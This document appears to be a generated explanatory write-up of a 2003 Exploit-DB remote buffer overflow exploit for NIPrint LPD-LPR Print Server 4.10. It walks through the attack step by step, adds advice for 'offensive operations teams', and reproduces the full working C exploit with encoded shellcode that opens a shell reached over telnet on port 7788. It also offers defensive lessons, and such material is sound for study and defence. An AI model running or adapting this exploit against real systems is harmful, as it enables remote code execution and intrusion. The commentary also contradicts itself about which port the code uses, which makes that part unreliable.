Understanding the NIPrint LPD-LPR Remote Overflow Exploit (Paper ID: 116)

Understanding the NIPrint LPD-LPR Remote Overflow Exploit (Paper ID: 116)
What this paper is
This paper details a remote buffer overflow vulnerability in NIPrint LPD-LPR Print Server version 4.10 and earlier. The exploit provided allows an attacker to remotely trigger this overflow, overwrite critical memory locations, and execute arbitrary code on the vulnerable server. The exploit is written in C and can be compiled on both Windows and Unix-like systems.
Simple technical breakdown
The NIPrint LPD-LPR Print Server listens for print jobs on port 515. The vulnerability lies in how it handles print job data. When processing a print job, the server doesn't properly check the size of the data it's receiving. An attacker can send a specially crafted, oversized print job that overflows a buffer on the server's stack. This overflow can overwrite the return address of a function, redirecting program execution to attacker-controlled code (shellcode). The exploit uses a fixed "JMP ESP" address for Windows XP SP1 (version 5.1.2600) to jump to the shellcode. After attempting the exploit, the code tries to establish a Telnet connection to a different port (5150, defined by SHELL as 7788, but the code uses 5150 in the sprintf command, which is a discrepancy) to indicate successful execution or to provide a shell if the shellcode was designed to open one.
Complete code and payload walkthrough
The provided C code implements a remote exploit for the NIPrint LPD-LPR Print Server.
Header Files and Definitions:
#ifdef _WIN32/#else/#endif: This preprocessor directive allows the code to be compiled on both Windows and Unix-like systems by including different sets of header files.- Windows:
winsock.hfor network functions,windows.hfor Windows API functions. - Unix-like:
netinet/in.h,netdb.h,sys/types.h,sys/socket.h,sys/stat.h,fcntl.h,unistd.h,errno.hfor standard network and system calls.
- Windows:
#include <stdio.h>: For standard input/output functions likeprintf.#define RET 0x77F5801c: This defines a constantRETwhich is the target address for overwriting the return address on the stack. This specific address is identified as a "JMP ESP" instruction for Windows XP SP1 (version 5.1.2600).#define SHELL 7788: This defines a port number. The code later attempts to connect to port 5150 usingsprintf(tmp,"telnet %s %d\n",argv[1],SHELL);, which is a mismatch with the definedSHELLvalue. This suggests a potential error in the original exploit code or a misunderstanding of its intent. Thesprintfcommand usesSHELLas the port number, which is 7788. However, the commentprintf("[+] Connecting to %s:%d\n",argv[1],SHELL);implies connection to port 7788. The actualtelnetcommand is constructed withSHELLwhich is 7788.
Shellcode:
char shellcode[] = "...": This is a byte array containing the actual shellcode. This shellcode is designed to be executed on the target system after the overflow. The specific functionality of this shellcode is not explicitly defined in the exploit code itself, but it's common for such shellcode to attempt to open a reverse shell or execute a command. The bytes are obfuscated and likely contain instructions to establish a connection back to the attacker or spawn a command shell.
getip Function:
long getip(char *hostname): This function takes a hostname (or IP address string) as input and returns its numerical IP address.- It first attempts to convert the input string directly to an IP address using
inet_addr. - If
inet_addrfails (returns -1), it means the input is likely a hostname. It then usesgethostbynameto resolve the hostname to an IP address. - If
gethostbynamealso fails, it prints an error and exits. - If successful, it copies the IP address from the
hostentstructure into theipaddrvariable.
- It first attempts to convert the input string directly to an IP address using
main Function:
int main(int argc, char **argv): The main entry point of the program.- Argument Check:
if(!argv[1]) { printf("Usage: %s <address>\n",argv[0]);exit(0); }: Checks if a target address (hostname or IP) was provided as a command-line argument. If not, it prints usage instructions and exits.
- Windows Socket Initialization:
#ifdef _WIN32 ... WSADATA wsaData; ... if(WSAStartup(0x101,&wsaData)){ ... }: If compiling on Windows, this section initializes the Winsock library, which is necessary for network operations.
- Socket Creation and Connection:
int sock; struct sockaddr_in sockstruct; char tmp[2000];: Declares variables for the socket, socket structure, and a temporary buffer.memset(sockstruct.sin_zero,0x00,sizeof(sockstruct.sin_zero));: Initializes the padding field of thesockaddr_instructure to zeros.sock=socket(PF_INET,SOCK_STREAM,0);: Creates a TCP socket.sockstruct.sin_family=PF_INET;: Sets the address family to IPv4.sockstruct.sin_addr.s_addr=getip(argv[1]);: Sets the target IP address obtained from thegetipfunction.sockstruct.sin_port=htons(515);: Sets the target port to 515 (the default LPD/LPR port), converted to network byte order usinghtons.if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1): Attempts to connect to the target server on port 515.
- Exploit Payload Construction and Sending:
printf("[+] Connected to %s:515!\n",argv[1]);: Informs the user if the connection was successful.memset(tmp,0x00,sizeof tmp);: Clears the temporary buffer.memset(tmp,0x41,49);: Fills the first 49 bytes of the buffer with the character 'A' (0x41). This is the "padding" to reach the vulnerable point in the server's buffer.*(long *)&tmp[strlen(tmp)]=RET;: This is the core of the overflow. It takes the current length oftmp(which is 49), casts it to alongpointer, and writes theRETaddress (0x77F5801c) into the buffer at that position. This overwrites the return address on the stack.memset(tmp+strlen(tmp),0x90,50);: Fills the next 50 bytes with NOP (No Operation) instructions (0x90). This creates a "NOP sled" which increases the chances of the execution flow landing on the shellcode, even if the exact jump address is slightly off.memcpy(tmp+strlen(tmp),&shellcode,strlen(shellcode));: Copies the actual shellcode into the buffer after the NOP sled.send(sock,tmp,strlen(tmp),0);: Sends the crafted buffer (padding + return address + NOP sled + shellcode) to the target server.printf("[+] Exploit code was sent!\n");: Confirms that the exploit data has been sent.
- Post-Exploitation Attempt:
#ifdef _WIN32 ... closesocket(sock); WSACleanup(); #else close(sock); #endif: Closes the initial connection.printf("[+] Connecting to %s:%d\n",argv[1],SHELL);: Informs the user about the next step.sprintf(tmp,"telnet %s %d\n",argv[1],SHELL);: Constructs a command to attempt a Telnet connection to the target IP address on portSHELL(7788). This implies that the shellcode is expected to open a listener on this port.system(tmp);: Executes the Telnet command.printf("[-] Not connected! NIPrint probably not vulnerable!\n");: If the Telnet connection fails, it suggests the exploit was unsuccessful or the target is not vulnerable.
return 0;: Exits the program.
- Argument Check:
Code Fragment/Block -> Practical Purpose Mapping:
#define RET 0x77F5801c: Target return address for stack overwrite (JMP ESP on Win XP SP1).char shellcode[] = "...": The arbitrary code to be executed on the target.getip(argv[1]): Resolves the target hostname/IP to a numerical address.socket(PF_INET,SOCK_STREAM,0): Creates a TCP socket for communication.sockstruct.sin_port=htons(515): Sets the target port to 515 (LPD/LPR service).connect(...): Establishes a connection to the vulnerable service.memset(tmp,0x41,49): Creates initial padding to reach the vulnerable buffer.*(long *)&tmp[strlen(tmp)]=RET;: Overwrites the return address on the stack withRET.memset(tmp+strlen(tmp),0x90,50): Creates a NOP sled to increase exploit reliability.memcpy(tmp+strlen(tmp),&shellcode,strlen(shellcode)): Appends the shellcode to the buffer.send(sock,tmp,strlen(tmp),0): Sends the crafted exploit payload.sprintf(tmp,"telnet %s %d\n",argv[1],SHELL); system(tmp);: Attempts to connect to a listener port (presumably opened by the shellcode) for post-exploitation.
Practical details for offensive operations teams
- Required Access Level: Network access to the target system's port 515 (LPD/LPR service). No local access is required.
- Lab Preconditions:
- A vulnerable NIPrint LPD-LPR Print Server (version <= 4.10) running on a Windows XP SP1 (5.1.2600) system is ideal for testing.
- Network connectivity between the attacker machine and the target.
- The target system must have the LPD/LPR service running and accessible.
- Tooling Assumptions:
- A C compiler (e.g., GCC for Linux/macOS, MinGW for Windows) to compile the exploit code.
- Standard networking tools (like
telnetornetcat) to verify post-exploitation. - A debugger (like GDB or WinDbg) and memory analysis tools (like Volatility) would be beneficial for understanding the shellcode and verifying the exploit's impact in a lab environment.
- Execution Pitfalls:
- Target OS/Service Version: The
RETaddress (0x77F5801c) is highly specific to Windows XP SP1 (5.1.2600). Different Windows versions or service packs will have different memory layouts, requiring a differentRETaddress. The LPD/LPR service version must also be <= 4.10. - Firewalls: Network firewalls blocking port 515 will prevent the exploit from reaching the target service.
- Service Not Running: If the LPD/LPR service is not running or not listening on port 515, the exploit will fail.
- Shellcode Port Mismatch: The
SHELLdefine (7788) and its usage in thesprintfcommand for Telnet connection (which uses the value ofSHELL) might be a point of confusion or an actual bug in the original exploit. The intention is likely for the shellcode to open a listener on port 7788, and the Telnet command attempts to connect to it. If the shellcode doesn't open a listener, or opens it on a different port, the Telnet connection will fail. - ASLR/DEP: Modern operating systems employ Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP), which would make this exploit significantly harder to execute without further techniques (e.g., ROP chains, return-to-libc). This exploit predates widespread adoption of these defenses.
- Buffer Size: The exact buffer size and overflow point are crucial. If the server's implementation differs slightly, the padding might need adjustment.
- Target OS/Service Version: The
- Telemetry:
- Network: Outbound TCP connection attempts to port 515 on the target. Successful connection establishment. Data sent over the connection. Outbound TCP connection attempts to port 7788 (or the port opened by shellcode) for post-exploitation.
- Host (Target): If the exploit is successful, the LPD/LPR service process might crash or exhibit unexpected behavior. If the shellcode executes successfully, it might spawn new processes (e.g.,
cmd.exeortelnet.exeif it's a reverse shell) or establish outbound network connections. System logs might show service crashes or unusual process activity. - Host (Attacker): Successful connection to the shellcode's listener port.
Where this was used and when
This exploit was published in November 2003. At that time, Windows XP was a prevalent operating system, and network services like LPD/LPR were commonly exposed. Exploits targeting such services were a common vector for initial compromise. The specific mention of "Win XP 5.1.2600" in the comments strongly suggests its primary target was this version of Windows.
Defensive lessons for modern teams
- Patch Management: The most critical lesson is the importance of keeping all software, including network services and operating systems, up-to-date with security patches. This vulnerability was patched long ago.
- Network Segmentation and Firewalling: Restricting access to legacy or unnecessary services like LPD/LPR to only trusted internal networks or specific management stations significantly reduces the attack surface. Exposing such services directly to the internet is highly discouraged.
- Service Hardening: If a service like LPD/LPR must be used, ensure it's configured securely and that only necessary features are enabled.
- Intrusion Detection/Prevention Systems (IDS/IPS): Network-based IDS/IPS can detect the abnormal traffic patterns associated with exploit attempts, such as oversized packets or unexpected data on service ports.
- Endpoint Detection and Response (EDR): EDR solutions can detect the execution of unexpected processes or shellcode on the endpoint, even if the initial network exploit is successful.
- Modern OS Defenses: Modern operating systems have built-in protections like ASLR and DEP that make classic stack buffer overflow exploits much harder to execute. Understanding these defenses is crucial for both offense and defense.
ASCII visual (if applicable)
+-----------------+ +-----------------------+ +--------------------+
| Attacker Machine| ----> | Target: NIPrint LPD/LPR | ----> | Target OS (Win XP) |
| (Exploit Client)| | (Port 515) | | (Vulnerable Service)|
+-----------------+ +-----------------------+ +--------------------+
| |
| Sends crafted packet | Stack Overflow
| (Padding + RET + NOPs + Shellcode) | Overwrites Return Address
| | Jumps to Shellcode
| |
| +--------------------+
| | Shellcode Execution|
| | (e.g., Open Port) |
| +--------------------+
| |
| | Attempts Telnet to Port 7788
| | (or other shellcode listener)
+------------------------------------------------------------------+Explanation:
- The attacker machine sends a specially crafted network packet to the target machine on port 515.
- The NIPrint LPD/LPR service on the target receives this packet.
- Due to the buffer overflow vulnerability, the service's internal buffer is overwritten.
- The return address on the stack is replaced with the
RETaddress (0x77F5801c). - When the function returns, instead of going back to its normal execution flow, it jumps to the
RETaddress. - The
RETaddress points to aJMP ESPinstruction, which then redirects execution to the NOP sled and subsequently the shellcode. - The shellcode executes, potentially opening a listener on port 7788.
- The exploit code then attempts to connect to this listener via Telnet.
Source references
- Paper ID: 116
- Paper Title: NIPrint LPD-LPR Print Server 4.10 - Remote Overflow
- Author: xCrZx
- Published: 2003-11-04
- Keywords: Windows, remote
- Paper URL: https://www.exploit-db.com/papers/116
- Raw Exploit URL: https://www.exploit-db.com/raw/116
Original Exploit-DB Content (Verbatim)
/*
\ remote exploit for NIPrint LPD-LPR Print Server (Version <= 4.10)
/
\ by xCrZx /BLack Sand Project/ /04.11.03/
/
\ bug found by KF
/ successfully tested on Win XP 5.1.2600
/ P.S.#1 coded just for fun...
\ P.S.#2 this exploit can be compiled under Win32 and *nix
*/
#ifdef _WIN32
#include <winsock.h>
#include <windows.h>
#else
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#endif
#include <stdio.h>
// JMP ESP ADDRESS (in Win XP 5.1.2600)
#define RET 0x77F5801c
#define SHELL 7788
char shellcode[] =
"\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
"\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
"\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
"\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
"\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
"\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
"\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
"\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
"\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
"\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
"\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
"\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
"\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
"\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
"\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
"\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
"\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
"\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
"\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
"\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
"\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
"\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
"\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
"\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
"\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
"\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
"\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
"\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
"\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
"\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
"\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
"\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
"\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
"\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
"\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
"\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
"\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
"\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
"\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
"\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
"\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
"\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
"\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
"\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
"\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
"\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
"\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
"\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
"\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
"\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
"\x68\x68\x68\x68";
long getip(char *hostname) {
struct hostent *he;
long ipaddr;
if ((ipaddr = inet_addr(hostname)) < 0) {
if ((he = gethostbyname(hostname)) == NULL) {
perror("gethostbyname()");
exit(-1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}
int main(int argc, char **argv) {
#ifdef _WIN32
WSADATA wsaData;
#endif
int sock;
struct sockaddr_in sockstruct;
char tmp[2000];
if(!argv[1]) { printf("Usage: %s <address>\n",argv[0]);exit(0); }
#ifdef _WIN32
if(WSAStartup(0x101,&wsaData)){
printf("Unable to initialize WinSock lib.\n");
exit(0);
}
#endif
memset(sockstruct.sin_zero,0x00,sizeof(sockstruct.sin_zero));
sock=socket(PF_INET,SOCK_STREAM,0);
sockstruct.sin_family=PF_INET;
sockstruct.sin_addr.s_addr=getip(argv[1]);
sockstruct.sin_port=htons(515);
if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {
printf("[+] Connected to %s:515!\n",argv[1]);
memset(tmp,0x00,sizeof tmp);
memset(tmp,0x41,49);
*(long *)&tmp[strlen(tmp)]=RET;
memset(tmp+strlen(tmp),0x90,50);
memcpy(tmp+strlen(tmp),&shellcode,strlen(shellcode));
send(sock,tmp,strlen(tmp),0);
printf("[+] Exploit code was sent!\n");
}
#ifdef _WIN32
closesocket(sock);
WSACleanup();
#else
close(sock);
#endif
printf("[+] Connecting to %s:%d\n",argv[1],SHELL);
sprintf(tmp,"telnet %s %d\n",argv[1],SHELL);
system(tmp);
printf("[-] Not connected! NIPrint probably not vulnerable!\n");
return 0;
}
// milw0rm.com [2003-11-04]